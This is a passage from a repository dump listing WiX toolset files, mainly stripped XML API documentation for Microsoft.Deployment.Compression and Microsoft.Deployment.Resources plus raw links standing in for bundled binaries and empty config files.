101 | runtime from inside the finalizer, and only unmanaged resources will be disposed.
102 |
103 |
104 |
105 | Exception class for cabinet operations.
106 |
107 |
108 |
109 |
110 | Creates a new CabException with a specified error message and a reference to the
111 | inner exception that is the cause of this exception.
112 |
113 | The message that describes the error.
114 | The exception that is the cause of the current exception. If the
115 | innerException parameter is not a null reference (Nothing in Visual Basic), the current exception
116 | is raised in a catch block that handles the inner exception.
117 |
118 |
119 |
120 | Creates a new CabException with a specified error message.
121 |
122 | The message that describes the error.
123 |
124 |
125 |
126 | Creates a new CabException.
127 |
128 |
129 |
130 |
131 | Initializes a new instance of the CabException class with serialized data.
132 |
133 | The SerializationInfo that holds the serialized object data about the exception being thrown.
134 | The StreamingContext that contains contextual information about the source or destination.
135 |
136 |
137 |
138 | Gets the FCI or FDI cabinet engine error number.
139 |
140 | A cabinet engine error number, or 0 if the exception was
141 | not related to a cabinet engine error number.
142 |
143 |
144 |
145 | Gets the Win32 error code.
146 |
147 | A Win32 error code, or 0 if the exception was
148 | not related to a Win32 error.
149 |
150 |
151 |
152 | Sets the SerializationInfo with information about the exception.
153 |
154 | The SerializationInfo that holds the serialized object data about the exception being thrown.
155 | The StreamingContext that contains contextual information about the source or destination.
156 |
157 |
158 |
159 | Disposes of resources allocated by the cabinet engine.
160 |
161 | If true, the method has been called directly or indirectly by a user's code,
162 | so managed and unmanaged resources will be disposed. If false, the method has been called by the
163 | runtime from inside the finalizer, and only unmanaged resources will be disposed.
164 |
165 |
166 |
167 | Object representing a compressed file within a cabinet package; provides operations for getting
168 | the file properties and extracting the file.
169 |
170 |
171 |
172 |
173 | Creates a new CabinetFileInfo object representing a file within a cabinet in a specified path.
174 |
175 | An object representing the cabinet containing the file.
176 | The path to the file within the cabinet. Usually, this is a simple file
177 | name, but if the cabinet contains a directory structure this may include the directory.
178 |
179 |
180 |
181 | Creates a new CabinetFileInfo object with all parameters specified,
182 | used internally when reading the metadata out of a cab.
183 |
184 | The internal path and name of the file in the cab.
185 | The folder number containing the file.
186 | The cabinet number where the file starts.
187 | The stored attributes of the file.
188 | The stored last write time of the file.
189 | The uncompressed size of the file.
190 |
191 |
192 |
193 | Initializes a new instance of the CabinetFileInfo class with serialized data.
194 |
195 | The SerializationInfo that holds the serialized object data about the exception being thrown.
196 | The StreamingContext that contains contextual information about the source or destination.
197 |
198 |
199 |
200 | Sets the SerializationInfo with information about the archive.
201 |
202 | The SerializationInfo that holds the serialized object data.
203 | The StreamingContext that contains contextual information
204 | about the source or destination.
205 |
206 |
207 |
208 | Gets or sets the cabinet that contains this file.
209 |
210 |
211 | The CabinetInfo instance that retrieved this file information -- this
212 | may be null if the CabinetFileInfo object was returned directly from a
213 | stream.
214 |
215 |
216 |
217 |
218 | Gets the full path of the cabinet that contains this file.
219 |
220 | The full path of the cabinet that contains this file.
221 |
222 |
223 |
224 | Gets the number of the folder containing this file.
225 |
226 | The number of the cabinet folder containing this file.
227 | A single folder or the first folder of a cabinet
228 | (or chain of cabinets) is numbered 0.
229 |
230 |
231 |
232 | Refreshes the information in this object with new data retrieved
233 | from an archive.
234 |
235 | Fresh instance for the same file just
236 | read from the archive.
237 |
238 | This implementation refreshes the .
239 |
240 |
241 |
242 |
243 | Object representing a cabinet file on disk; provides access to
244 | file-based operations on the cabinet file.
245 |
246 |
247 | Generally, the methods on this class are much easier to use than the
248 | stream-based interfaces provided by the class.
249 |
250 |
251 |
252 |
253 | Creates a new CabinetInfo object representing a cabinet file in a specified path.
254 |
255 | The path to the cabinet file. When creating a cabinet file, this file does not
256 | necessarily exist yet.
257 |
258 |
259 |
260 | Initializes a new instance of the CabinetInfo class with serialized data.
261 |
262 | The SerializationInfo that holds the serialized object data about the exception being thrown.
263 | The StreamingContext that contains contextual information about the source or destination.
264 |
265 |
266 |
267 | Creates a compression engine that does the low-level work for
268 | this object.
269 |
270 | A new instance.
271 |
272 | Each instance will be d
273 | immediately after use.
274 |
275 |
276 |
277 |
278 | Gets information about the files contained in the archive.
279 |
280 | A list of objects, each
281 | containing information about a file in the archive.
282 |
283 |
284 |
285 | Gets information about the certain files contained in the archive file.
286 |
287 | The search string, such as
288 | "*.txt".
289 | A list of objects, each containing
290 | information about a file in the archive.
291 |
292 |
293 |
294 | Generic class for managing allocations of integer handles
295 | for objects of a certain type.
296 |
297 | The type of objects the handles refer to.
298 |
299 |
300 |
301 | Auto-resizing list of objects for which handles have been allocated.
302 | Each handle is just an index into this list. When a handle is freed,
303 | the list item at that index is set to null.
304 |
305 |
306 |
307 |
308 | Creates a new HandleManager instance.
309 |
310 |
311 |
312 |
313 | Gets the object of a handle, or null if the handle is invalid.
314 |
315 | The integer handle previously allocated
316 | for the desired object.
317 | The object for which the handle was allocated.
318 |
319 |
320 |
321 | Allocates a new handle for an object.
322 |
323 | Object that the handle will refer to.
324 | New handle that can be later used to retrieve the object.
325 |
326 |
327 |
328 | Frees a handle that was previously allocated. Afterward the handle
329 | will be invalid and the object it referred to can no longer retrieved.
330 |
331 | Handle to be freed.
332 |
333 |
334 |
335 | Native DllImport methods and related structures and constants used for
336 | cabinet creation and extraction via cabinet.dll.
337 |
338 |
339 |
340 |
341 | A direct import of constants, enums, structures, delegates, and functions from fci.h.
342 | Refer to comments in fci.h for documentation.
343 |
344 |
345 |
346 |
347 | Error codes that can be returned by FCI.
348 |
349 |
350 |
351 |
352 | FCI compression algorithm types and parameters.
353 |
354 |
355 |
356 |
357 | Reason for FCI status callback.
358 |
359 |
360 |
361 |
362 | Cabinet information structure used for FCI initialization and GetNextCabinet callback.
363 |
364 |
365 |
366 |
367 | Ensures that the FCI handle is safely released.
368 |
369 |
370 |
371 |
372 | Creates a new unintialized handle. The handle will be initialized
373 | when it is marshalled back from native code.
374 |
375 |
376 |
377 |
378 | Checks if the handle is invalid. An FCI handle is invalid when it is zero.
379 |
380 |
381 |
382 |
383 | Releases the handle by calling FDIDestroy().
384 |
385 | True if the release succeeded.
386 |
387 |
388 |
389 | A direct import of constants, enums, structures, delegates, and functions from fdi.h.
390 | Refer to comments in fdi.h for documentation.
391 |
392 |
393 |
394 |
395 | Error codes that can be returned by FDI.
396 |
397 |
398 |
399 |
400 | Type of notification message for the FDI Notify callback.
401 |
402 |
403 |
404 |
405 | Cabinet information structure filled in by FDI IsCabinet.
406 |
407 |
408 |
409 |
410 | Cabinet notification details passed to the FDI Notify callback.
411 |
412 |
413 |
414 |
415 | Ensures that the FDI handle is safely released.
416 |
417 |
418 |
419 |
420 | Creates a new unintialized handle. The handle will be initialized
421 | when it is marshalled back from native code.
422 |
423 |
424 |
425 |
426 | Checks if the handle is invalid. An FDI handle is invalid when it is zero.
427 |
428 |
429 |
430 |
431 | Releases the handle by calling FDIDestroy().
432 |
433 | True if the release succeeded.
434 |
435 |
436 |
437 | Error info structure for FCI and FDI.
438 |
439 | Before being passed to FCI or FDI, this structure is
440 | pinned in memory via a GCHandle. The pinning is necessary
441 | to be able to read the results, since the ERF structure doesn't
442 | get marshalled back out after an error.
443 |
444 |
445 |
446 | Gets or sets the cabinet error code.
447 |
448 |
449 |
450 |
451 | Gets or sets the Win32 error code.
452 |
453 |
454 |
455 |
456 | GCHandle doesn't like the bool type, so use an int underneath.
457 |
458 |
459 |
460 |
461 | Clears the error information.
462 |
463 |
464 |
465 |
466 | Distribution specific strings.
467 |
468 |
469 |
470 |
471 | News URL for the distribution.
472 |
473 |
474 |
475 |
476 | Short product name for the distribution.
477 |
478 |
479 |
480 |
481 | Support URL for the distribution.
482 |
483 |
484 |
485 |
486 | Telemetry URL format for the distribution.
487 |
488 |
489 |
490 |
491 | VS Extensions Landing page Url for the distribution.
492 |
493 |
494 |
495 |
496 |
--------------------------------------------------------------------------------
/tools/wix/Microsoft.Deployment.Compression.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.Compression.dll
--------------------------------------------------------------------------------
/tools/wix/Microsoft.Deployment.Resources.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.Resources.dll
--------------------------------------------------------------------------------
/tools/wix/Microsoft.Deployment.Resources.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Microsoft.Deployment.Resources
5 |
6 |
7 |
8 |
9 | A subclass of Resource which provides specific methods for manipulating the resource data.
10 |
11 |
12 | The resource is of type (RT_GROUPICON).
13 |
14 |
15 |
16 |
17 | Creates a new BitmapResource object without any data. The data can be later loaded from a file.
18 |
19 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
20 | Locale of the resource
21 |
22 |
23 |
24 | Creates a new BitmapResource object with data. The data can be later saved to a file.
25 |
26 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
27 | Locale of the resource
28 | Raw resource data
29 |
30 |
31 |
32 | Reads the bitmap from a .bmp file.
33 |
34 | Path to a bitmap file (.bmp).
35 |
36 |
37 |
38 | A subclass of Resource which provides specific methods for manipulating the resource data.
39 |
40 |
41 | The resource is of type (RT_GROUPICON).
42 |
43 |
44 |
45 |
46 | Creates a new GroupIconResource object without any data. The data can be later loaded from a file.
47 |
48 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
49 | Locale of the resource
50 |
51 |
52 |
53 | Creates a new GroupIconResource object with data. The data can be later saved to a file.
54 |
55 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
56 | Locale of the resource
57 | Raw resource data
58 |
59 |
60 |
61 | Gets or sets the raw data of the resource. The data is in the format of the RT_GROUPICON resource structure.
62 |
63 |
64 |
65 |
66 | Enumerates the the icons in the icon group.
67 |
68 |
69 |
70 |
71 | Reads the icon group from a .ico file.
72 |
73 | Path to an icon file (.ico).
74 |
75 |
76 |
77 | Represents a Win32 resource which can be loaded from and saved to a PE file.
78 |
79 |
80 |
81 |
82 | Creates a new Resource object without any data. The data can be later loaded from a file.
83 |
84 | Type of the resource; may be one of the ResourceType constants or a user-defined type.
85 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
86 | Locale of the resource
87 |
88 |
89 |
90 | Creates a new Resource object with data. The data can be later saved to a file.
91 |
92 | Type of the resource; may be one of the ResourceType constants or a user-defined type.
93 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
94 | Locale of the resource
95 | Raw resource data
96 |
97 |
98 |
99 | Gets or sets the type of the resource. This may be one of the ResourceType constants
100 | or a user-defined type name.
101 |
102 |
103 |
104 |
105 | Gets or sets the name of the resource. For a numeric resource identifier, the decimal number is prefixed with a "#".
106 |
107 |
108 |
109 |
110 | Gets or sets the locale of the resource.
111 |
112 |
113 |
114 |
115 | Gets or sets the raw data of the resource.
116 |
117 |
118 |
119 |
120 | Loads the resource data from a file. The file is searched for a resource with matching type, name, and locale.
121 |
122 | Win32 PE file containing the resource
123 |
124 |
125 |
126 | Saves the resource to a file. Any existing resource data with matching type, name, and locale is overwritten.
127 |
128 | Win32 PE file to contain the resource
129 |
130 |
131 |
132 | Tests if type, name, and locale of this Resource object match another Resource object.
133 |
134 | Resource object to be compared
135 | True if the objects represent the same resource; false otherwise.
136 |
137 |
138 |
139 | Gets a hash code for this Resource object.
140 |
141 | Hash code generated from the resource type, name, and locale.
142 |
143 |
144 |
145 | Allows reading and editing of resource data in a Win32 PE file.
146 |
147 |
148 | To use this class:
149 | - Create a new ResourceCollection
150 | - Locate resources for the collection by calling one of the methods
151 | - Load data of one or more s from a file by calling the method of the
152 | Resource class, or load them all at once (more efficient) with the method of the ResourceCollection.
153 | - Read and/or edit data of the individual Resource objects using the methods on that class.
154 | - Save data of one or more s to a file by calling the method of the
155 | Resource class, or save them all at once (more efficient) with the method of the ResourceCollection.
156 |
157 |
158 |
159 |
160 |
161 | Creates a new, empty ResourceCollection.
162 |
163 |
164 |
165 |
166 | Locates all resources in a file, including all resource types and languages. For each located resource,
167 | a instance (or subclass) is added to the collection.
168 |
169 | The file to be searched for resources.
170 | resources could not be read from the file
171 |
172 |
173 |
174 | Locates all resources in a file of a given type, including all languages. For each located resource,
175 | a instance (or subclass) is added to the collection.
176 |
177 | The file to be searched for resources.
178 | The type of resource to search for; may be one of the ResourceType constants or a user-defined type.
179 | resources could not be read from the file
180 |
181 |
182 |
183 | Locates all resources in a file of a given type and language. For each located resource,
184 | a instance (or subclass) is added to the collection.
185 |
186 | The file to be searched for resources.
187 | The type of resource to search for; may be one of the ResourceType constants or a user-defined type.
188 | The name of the resource to search for.
189 | resources could not be read from the file
190 |
191 |
192 |
193 | For all resources in the collection, loads their data from a resource file.
194 |
195 | The file from which resources are loaded.
196 |
197 |
198 |
199 | For all resources in the collection, saves their data to a resource file.
200 |
201 | The file to which resources are saved.
202 |
203 |
204 |
205 | Gets or sets the element at the specified index.
206 |
207 |
208 |
209 |
210 | Adds a new item to the collection.
211 |
212 | The Resource to add.
213 |
214 |
215 |
216 | Removes an item to the collection.
217 |
218 | The Resource to remove.
219 |
220 |
221 |
222 | Gets the index of an item in the collection.
223 |
224 | The Resource to search for.
225 | The index of the item, or -1 if not found.
226 |
227 |
228 |
229 | Inserts a item into the collection.
230 |
231 | The insertion index.
232 | The Resource to insert.
233 |
234 |
235 |
236 | Tests if the collection contains an item.
237 |
238 | The Resource to search for.
239 | true if the item is found; false otherwise
240 |
241 |
242 |
243 | Copies the collection into an array.
244 |
245 | The array to copy into.
246 | The starting index in the destination array.
247 |
248 |
249 |
250 | Removes all resources from the collection.
251 |
252 |
253 |
254 |
255 | Gets the number of resources in the collection.
256 |
257 |
258 |
259 |
260 | Gets an enumerator over all resources in the collection.
261 |
262 |
263 |
264 |
265 |
266 | Represents either a standard integer resource type or a custom resource type name.
267 |
268 |
269 |
270 |
271 | Creates a new resource type from a string resource name.
272 |
273 | String resource name,
274 | or an integer resource type prefixed by a #.
275 |
276 |
277 |
278 | Creates a new integer resource type.
279 |
280 | Integer value of a well-known resource type.
281 |
282 |
283 |
284 | Gets a flag indicating whether the resource type is an integer type.
285 |
286 |
287 |
288 |
289 | Gets the integer value of the resource type, or -1 if the resource type is not an integer.
290 |
291 |
292 |
293 |
294 | Gets a string representation of the resource type.
295 |
296 | The custom resource name, or the name of a well-known resource type.
297 |
298 |
299 |
300 | Tests whether one resource type equals another object.
301 |
302 | Other object.
303 | True if equal, else false.
304 |
305 |
306 |
307 | Tests whether one resource type equals another.
308 |
309 | Other resource type.
310 | True if equal, else false.
311 |
312 |
313 |
314 | Gets a hash code suitable for using the resource type as a dictionary key.
315 |
316 | Hash code based on the resource type string.
317 |
318 |
319 |
320 | Implicitly converts a string to a ResourceType.
321 |
322 | String resource type to convert.
323 | ResourceType object.
324 |
325 |
326 |
327 | Explicitly converts a ResourceType to a string.
328 |
329 | ResourceType object to convert.
330 | The resource type string.
331 |
332 | Unlike , this conversion does not return
333 | the common name of well-known integer resource types. Therefore,
334 | the returned string is suitable for passing directly to Win32
335 | resource APIs that accept resource type strings.
336 |
337 |
338 |
339 |
340 | Identifies build types of a versioned file.
341 |
342 |
343 |
344 |
345 | Identifies the type of a versioned file.
346 |
347 |
348 |
349 |
350 | Identifies the sub-type of a versioned file.
351 |
352 |
353 |
354 |
355 | A subclass of Resource which provides specific methods for manipulating the resource data.
356 |
357 |
358 | The resource is of type (RT_VERSION).
359 |
360 |
361 |
362 |
363 | Creates a new VersionResource object without any data. The data can be later loaded from a file.
364 |
365 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
366 | Locale of the resource
367 |
368 |
369 |
370 | Creates a new VersionResource object with data. The data can be later saved to a file.
371 |
372 | Name of the resource. For a numeric resource identifier, prefix the decimal number with a "#".
373 | Locale of the resource
374 | Raw resource data
375 |
376 |
377 |
378 | Gets or sets the raw data of the resource. The data is in the format of the VS_VERSIONINFO structure.
379 |
380 |
381 |
382 |
383 | Gets or sets the binary locale-independent file version of the version resource.
384 |
385 |
386 |
387 |
388 | Gets or sets the binary locale-independent product version of the version resource.
389 |
390 |
391 |
392 |
393 | Gets or sets a bitmask that specifies the build types of the file.
394 |
395 |
396 |
397 |
398 | Gets or sets the general type of the file.
399 |
400 |
401 |
402 |
403 | Gets or sets the specific type of the file.
404 |
405 |
406 |
407 |
408 | Gets or sets the binary creation date and time.
409 |
410 |
411 |
412 |
413 | Gets the string table for a specific locale, or null if there is no table for that locale.
414 |
415 |
416 |
417 |
418 |
419 |
420 | Adds a new version string table for a locale.
421 |
422 | Locale of the table
423 | The new string table, or the existing table if the locale already existed.
424 |
425 |
426 |
427 | Removes a version string table for a locale.
428 |
429 | Locale of the table
430 |
431 |
432 |
433 | Checks if a version string table exists for a given locale.
434 |
435 | Locale to search for
436 | True if a string table was found for the locale; false otherwise.
437 |
438 |
439 |
440 | Gets the number string tables in the version resource.
441 |
442 |
443 |
444 |
445 | Removes all string tables from the version resource.
446 |
447 |
448 |
449 |
450 | Copies the version string tables to an array, starting at a particular array index.
451 |
452 | The one-dimensional Array that is the destination of the elements copied
453 | from the collection. The Array must have zero-based indexing.
454 | The zero-based index in array at which copying begins.
455 |
456 |
457 |
458 | Gets an enumerator that can iterate over the version string tables in the collection.
459 |
460 | An enumerator that returns objects.
461 |
462 |
463 |
464 | Gets an enumerator that can iterate over the version string tables in the collection.
465 |
466 | An enumerator that returns objects.
467 |
468 |
469 |
470 | Represents a string table of a file version resource.
471 |
472 |
473 |
474 |
475 | Gets the locale (LCID) of the string table.
476 |
477 |
478 |
479 |
480 | Gets or sets a string value.
481 |
482 | Name of the string.
483 |
484 |
485 |
486 | Removes all strings from the string table.
487 |
488 |
489 |
490 |
491 | Gets a collection of all the names of the strings in the table.
492 |
493 |
494 |
495 |
496 | Gets a collection of all the values in the table.
497 |
498 |
499 |
500 |
501 | Gets the number of strings in the table.
502 |
503 |
504 |
505 |
506 | Gets an enumeration over all strings in the table.
507 |
508 | Enumeration of string name and value pairs
509 |
510 |
511 |
512 | Distribution specific strings.
513 |
514 |
515 |
516 |
517 | News URL for the distribution.
518 |
519 |
520 |
521 |
522 | Short product name for the distribution.
523 |
524 |
525 |
526 |
527 | Support URL for the distribution.
528 |
529 |
530 |
531 |
532 | Telemetry URL format for the distribution.
533 |
534 |
535 |
536 |
537 | VS Extensions Landing page Url for the distribution.
538 |
539 |
540 |
541 |
542 |
--------------------------------------------------------------------------------
/tools/wix/Microsoft.Deployment.WindowsInstaller.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/Microsoft.Deployment.WindowsInstaller.dll
--------------------------------------------------------------------------------
/tools/wix/WixUIExtension.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/WixUIExtension.dll
--------------------------------------------------------------------------------
/tools/wix/WixUtilExtension.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/WixUtilExtension.dll
--------------------------------------------------------------------------------
/tools/wix/candle.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/candle.exe
--------------------------------------------------------------------------------
/tools/wix/candle.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/tools/wix/darice.cub:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/darice.cub
--------------------------------------------------------------------------------
/tools/wix/light.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/light.exe
--------------------------------------------------------------------------------
/tools/wix/light.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/tools/wix/wconsole.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/wconsole.dll
--------------------------------------------------------------------------------
/tools/wix/winterop.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/winterop.dll
--------------------------------------------------------------------------------
/tools/wix/wix.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/wix.dll
--------------------------------------------------------------------------------
/tools/wix/x64/sfxca.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/x64/sfxca.dll
--------------------------------------------------------------------------------
/tools/wix/x86/sfxca.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mgeeky/msi-shenanigans/1d5fdd57879f1553571a0e5a026f432c1317d410/tools/wix/x86/sfxca.dll
--------------------------------------------------------------------------------